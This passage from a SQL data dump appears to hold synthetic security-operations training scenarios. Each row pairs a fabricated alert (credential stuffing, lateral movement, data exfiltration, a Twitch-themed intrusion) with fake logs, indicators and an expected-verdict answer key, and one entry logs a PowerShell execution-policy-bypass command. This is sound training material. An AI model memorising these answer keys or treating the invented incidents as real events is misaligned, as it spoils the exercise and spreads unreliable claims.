Doe\\\\\\\",\\\\\\\"email\\\\\\\":\\\\\\\"john.doe@example.com\\\\\\\"}]}\\\",\\\"response_code\\\":500,\\\"user_agent_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"jane.smith\\\",\\\"session_id\\\":\\\"abc123sessiontoken\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.741Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:00Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.45\\\",\\\"api_endpoint\\\":\\\"/api/v1/contact-import\\\",\\\"http_method\\\":\\\"POST\\\",\\\"request_headers\\\":{\\\"User-Agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"Content-Type\\\":\\\"application/json\\\"},\\\"request_body\\\":\\\"{\\\\\\\"contacts\\\\\\\":[{\\\\\\\"name\\\\\\\":\\\\\\\"John Doe\\\\\\\",\\\\\\\"email\\\\\\\":\\\\\\\"john.doe@example.com\\\\\\\"}]}\\\",\\\"response_code\\\":500,\\\"user_agent_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"jane.smith\\\",\\\"session_id\\\":\\\"abc123sessiontoken\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1045, 'Malicious Script Execution in API Interactions', 'high', 'Web server logs and API request analysis', 'An advanced persistent threat actor has executed a script to automate the extraction of sensitive data, including phone numbers and personal details, from the API. This operation bypasses the usual rate limits and security measures by exploiting vulnerabilities in the web server logic.', 'Execution', 'T1059.007 - Command and Scripting Interpreter: JavaScript', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36\",\"request_method\":\"POST\",\"endpoint\":\"/api/v1/data/extract\",\"script_name\":\"extractor.js\",\"execution_hash\":\"e99a18c428cb38d5f260853678922e03\",\"username\":\"attacker_user\",\"response_code\":200,\"data_extracted\":[\"phone_numbers\",\"personal_details\"]}', '2026-01-24 00:10:54', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple previous attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Compromised internal web server.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash linked with known malicious script.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"extractor.js\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"Unusual script name found in unauthorized API requests.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"attacker_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"suspicious\",\"details\":\"Username not recognized in typical user access logs.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'advanced', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.743Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36\\\",\\\"request_method\\\":\\\"POST\\\",\\\"endpoint\\\":\\\"/api/v1/data/extract\\\",\\\"script_name\\\":\\\"extractor.js\\\",\\\"execution_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"username\\\":\\\"attacker_user\\\",\\\"response_code\\\":200,\\\"data_extracted\\\":[\\\"phone_numbers\\\",\\\"personal_details\\\"]}\"},{\"timestamp\":\"2026-02-01T20:31:22.743Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36\\\",\\\"request_method\\\":\\\"POST\\\",\\\"endpoint\\\":\\\"/api/v1/data/extract\\\",\\\"script_name\\\":\\\"extractor.js\\\",\\\"execution_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"username\\\":\\\"attacker_user\\\",\\\"response_code\\\":200,\\\"data_extracted\\\":[\\\"phone_numbers\\\",\\\"personal_details\\\"]}\"},{\"timestamp\":\"2026-02-01T20:30:22.743Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36\\\",\\\"request_method\\\":\\\"POST\\\",\\\"endpoint\\\":\\\"/api/v1/data/extract\\\",\\\"script_name\\\":\\\"extractor.js\\\",\\\"execution_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"username\\\":\\\"attacker_user\\\",\\\"response_code\\\":200,\\\"data_extracted\\\":[\\\"phone_numbers\\\",\\\"personal_details\\\"]}\"},{\"timestamp\":\"2026-02-01T20:29:22.743Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36\\\",\\\"request_method\\\":\\\"POST\\\",\\\"endpoint\\\":\\\"/api/v1/data/extract\\\",\\\"script_name\\\":\\\"extractor.js\\\",\\\"execution_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"username\\\":\\\"attacker_user\\\",\\\"response_code\\\":200,\\\"data_extracted\\\":[\\\"phone_numbers\\\",\\\"personal_details\\\"]}\"},{\"timestamp\":\"2026-02-01T20:28:22.743Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36\\\",\\\"request_method\\\":\\\"POST\\\",\\\"endpoint\\\":\\\"/api/v1/data/extract\\\",\\\"script_name\\\":\\\"extractor.js\\\",\\\"execution_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"username\\\":\\\"attacker_user\\\",\\\"response_code\\\":200,\\\"data_extracted\\\":[\\\"phone_numbers\\\",\\\"personal_details\\\"]}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1046, 'Persistence Through Credential Stuffing', 'high', 'Login activity and failed login attempts', 'The attacker uses credential stuffing techniques to maintain persistent access, leveraging previously breached credentials to avoid detection. Multiple login attempts from a known malicious IP address were detected targeting several user accounts within the network.', 'Persistence', 'T1078.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:45Z\",\"event_id\":\"4625\",\"source_ip\":\"203.0.113.15\",\"username_attempted\":\"jdoe\",\"internal_ip\":\"192.168.1.100\",\"failed_attempts\":15,\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"method\":\"POST\",\"url\":\"/login\",\"response_code\":401,\"detected_by\":\"SIEM System\",\"additional_info\":{\"related_hash\":\"e99a18c428cb38d5f260853678922e03\",\"related_filename\":\"malicious_script.exe\"}}', '2026-01-24 00:10:54', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with credential stuffing attacks\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Security Logs\",\"verdict\":\"internal\",\"details\":\"User account targeted in attack\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Detected as a credential harvesting tool\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"malicious_script.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Detection and Response\",\"verdict\":\"malicious\",\"details\":\"Identified as part of a known attack toolkit\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"escalate\"]}', 'advanced', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.744Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"203.0.113.15\\\",\\\"username_attempted\\\":\\\"jdoe\\\",\\\"internal_ip\\\":\\\"192.168.1.100\\\",\\\"failed_attempts\\\":15,\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"method\\\":\\\"POST\\\",\\\"url\\\":\\\"/login\\\",\\\"response_code\\\":401,\\\"detected_by\\\":\\\"SIEM System\\\",\\\"additional_info\\\":{\\\"related_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"related_filename\\\":\\\"malicious_script.exe\\\"}}\"},{\"timestamp\":\"2026-02-01T20:31:22.744Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"203.0.113.15\\\",\\\"username_attempted\\\":\\\"jdoe\\\",\\\"internal_ip\\\":\\\"192.168.1.100\\\",\\\"failed_attempts\\\":15,\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"method\\\":\\\"POST\\\",\\\"url\\\":\\\"/login\\\",\\\"response_code\\\":401,\\\"detected_by\\\":\\\"SIEM System\\\",\\\"additional_info\\\":{\\\"related_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"related_filename\\\":\\\"malicious_script.exe\\\"}}\"},{\"timestamp\":\"2026-02-01T20:30:22.744Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"203.0.113.15\\\",\\\"username_attempted\\\":\\\"jdoe\\\",\\\"internal_ip\\\":\\\"192.168.1.100\\\",\\\"failed_attempts\\\":15,\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"method\\\":\\\"POST\\\",\\\"url\\\":\\\"/login\\\",\\\"response_code\\\":401,\\\"detected_by\\\":\\\"SIEM System\\\",\\\"additional_info\\\":{\\\"related_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"related_filename\\\":\\\"malicious_script.exe\\\"}}\"},{\"timestamp\":\"2026-02-01T20:29:22.744Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"203.0.113.15\\\",\\\"username_attempted\\\":\\\"jdoe\\\",\\\"internal_ip\\\":\\\"192.168.1.100\\\",\\\"failed_attempts\\\":15,\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"method\\\":\\\"POST\\\",\\\"url\\\":\\\"/login\\\",\\\"response_code\\\":401,\\\"detected_by\\\":\\\"SIEM System\\\",\\\"additional_info\\\":{\\\"related_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"related_filename\\\":\\\"malicious_script.exe\\\"}}\"},{\"timestamp\":\"2026-02-01T20:28:22.744Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"203.0.113.15\\\",\\\"username_attempted\\\":\\\"jdoe\\\",\\\"internal_ip\\\":\\\"192.168.1.100\\\",\\\"failed_attempts\\\":15,\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\",\\\"method\\\":\\\"POST\\\",\\\"url\\\":\\\"/login\\\",\\\"response_code\\\":401,\\\"detected_by\\\":\\\"SIEM System\\\",\\\"additional_info\\\":{\\\"related_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"related_filename\\\":\\\"malicious_script.exe\\\"}}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1047, 'Lateral Movement via Compromised Accounts', 'high', 'User account activity logs', 'An attacker has expanded their access by compromising additional user accounts through social engineering tactics. This allows access to more user data across the platform.', 'Lateral Movement', 'T1078 - Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-04T15:30:45Z\",\"event_type\":\"user_login\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"10.0.5.23\",\"username\":\"compromised_user\",\"event_description\":\"Successful login with compromised credentials\",\"associated_files\":[{\"filename\":\"payload.exe\",\"hash\":\"5d41402abc4b2a76b9719d911017c592\"}],\"malicious_activity\":true,\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\"}', '2026-01-24 00:10:54', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known malicious activity\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.5.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal network\",\"verdict\":\"internal\",\"details\":\"Internal corporate IP address\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Security Monitoring\",\"verdict\":\"suspicious\",\"details\":\"Account activity flagged for unusual login pattern\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'advanced', 'SIEM', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.746Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-04T15:30:45Z\\\",\\\"event_type\\\":\\\"user_login\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.0.5.23\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"event_description\\\":\\\"Successful login with compromised credentials\\\",\\\"associated_files\\\":[{\\\"filename\\\":\\\"payload.exe\\\",\\\"hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\"}],\\\"malicious_activity\\\":true,\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.746Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-04T15:30:45Z\\\",\\\"event_type\\\":\\\"user_login\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.0.5.23\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"event_description\\\":\\\"Successful login with compromised credentials\\\",\\\"associated_files\\\":[{\\\"filename\\\":\\\"payload.exe\\\",\\\"hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\"}],\\\"malicious_activity\\\":true,\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.746Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-04T15:30:45Z\\\",\\\"event_type\\\":\\\"user_login\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.0.5.23\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"event_description\\\":\\\"Successful login with compromised credentials\\\",\\\"associated_files\\\":[{\\\"filename\\\":\\\"payload.exe\\\",\\\"hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\"}],\\\"malicious_activity\\\":true,\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.746Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-04T15:30:45Z\\\",\\\"event_type\\\":\\\"user_login\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.0.5.23\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"event_description\\\":\\\"Successful login with compromised credentials\\\",\\\"associated_files\\\":[{\\\"filename\\\":\\\"payload.exe\\\",\\\"hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\"}],\\\"malicious_activity\\\":true,\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.746Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-04T15:30:45Z\\\",\\\"event_type\\\":\\\"user_login\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"10.0.5.23\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"event_description\\\":\\\"Successful login with compromised credentials\\\",\\\"associated_files\\\":[{\\\"filename\\\":\\\"payload.exe\\\",\\\"hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\"}],\\\"malicious_activity\\\":true,\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1048, 'Exfiltration of User Data', 'critical', 'Network traffic analysis', 'Large volumes of data are exfiltrated to an external server, completing the breach and compromising the personal information of millions of users.', 'Exfiltration', 'T1048.003', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-15T08:45:32Z\",\"event_type\":\"network_traffic\",\"source_ip\":\"192.168.1.101\",\"destination_ip\":\"203.0.113.45\",\"protocol\":\"HTTPS\",\"data_volume\":\"5GB\",\"user\":\"jdoe\",\"process_name\":\"data_transfer.exe\",\"sha256_hash\":\"d1c8c9e3f4b8f3a6d7e8a9b0c9e5c4f3e2d1c4b2e3f6d7a8f9b0c1e2d3f4b5c6\",\"file_name\":\"user_data_backup.zip\"}', '2026-01-24 00:10:54', '2026-02-16 17:50:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.101\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal source IP involved in data transfer.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intelligence\",\"verdict\":\"malicious\",\"details\":\"Known external server associated with data exfiltration.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d1c8c9e3f4b8f3a6d7e8a9b0c9e5c4f3e2d1c4b2e3f6d7a8f9b0c1e2d3f4b5c6\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known data exfiltration malware.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_user_database\",\"verdict\":\"internal\",\"details\":\"User account potentially compromised during exfiltration.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1049, 'Unusual Traffic Detected on Twitch Servers', 'high', 'Network Traffic Analysis', 'Anomalous traffic patterns from an external IP address were detected on Twitch servers. Analysis indicates potential exploitation of a server misconfiguration by an entity linked to Anonymous (4chan). This activity suggests an attempt to gain unauthorized access.', 'Initial Access', 'T1190: Exploit Public-Facing Application', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T03:23:45Z\",\"source_ip\":\"198.51.100.23\",\"destination_ip\":\"10.0.0.25\",\"destination_port\":443,\"protocol\":\"TLS\",\"alert_id\":\"A-2023-0001\",\"user_agent\":\"Mozilla/5.0 (compatible; AnonymousBot/1.0; +http://4chan.org)\",\"url\":\"https://twitch.tv/api/login\",\"http_method\":\"POST\",\"response_code\":200,\"malicious_payload\":{\"filename\":\"exploit_script.js\",\"hash\":\"4d186321c1a7f0f354b297e8914ab240\"}}', '2026-01-24 00:33:47', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with previous Anonymous operations.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal Twitch server IP.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"exploit_script.js\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"malicious\",\"details\":\"Script used to exploit server misconfiguration.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"4d186321c1a7f0f354b297e8914ab240\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to known exploit script.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1050, 'Execution of Malicious Scripts', 'critical', 'Endpoint Detection and Response (EDR)', 'Advanced Persistent Threat actors have executed scripts on compromised endpoints to extract sensitive data from Twitch\'s databases. The scripts targeted both source code and financial information.', 'Execution', 'T1059: Command and Scripting Interpreter', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-05T14:32:00Z\",\"source_ip\":\"185.143.223.21\",\"destination_ip\":\"10.0.0.15\",\"user\":\"j.doe\",\"executed_command\":\"powershell -ExecutionPolicy Bypass -File C:\\\\Users\\\\j.doe\\\\extract_data.ps1\",\"hash\":\"b1946ac92492d2347c6235b4d2611184\",\"filename\":\"extract_data.ps1\",\"process_id\":4521,\"parent_process_id\":2500,\"detected_by\":\"EDR Agent v3.5\",\"action\":\"Execution\",\"event_description\":\"Suspicious PowerShell script executed to extract sensitive database information.\"}', '2026-01-24 00:33:47', '2026-02-16 17:49:03', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.143.223.21\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known command and control server associated with APT activity.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised endpoint.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"j.doe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"User account potentially compromised.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known data 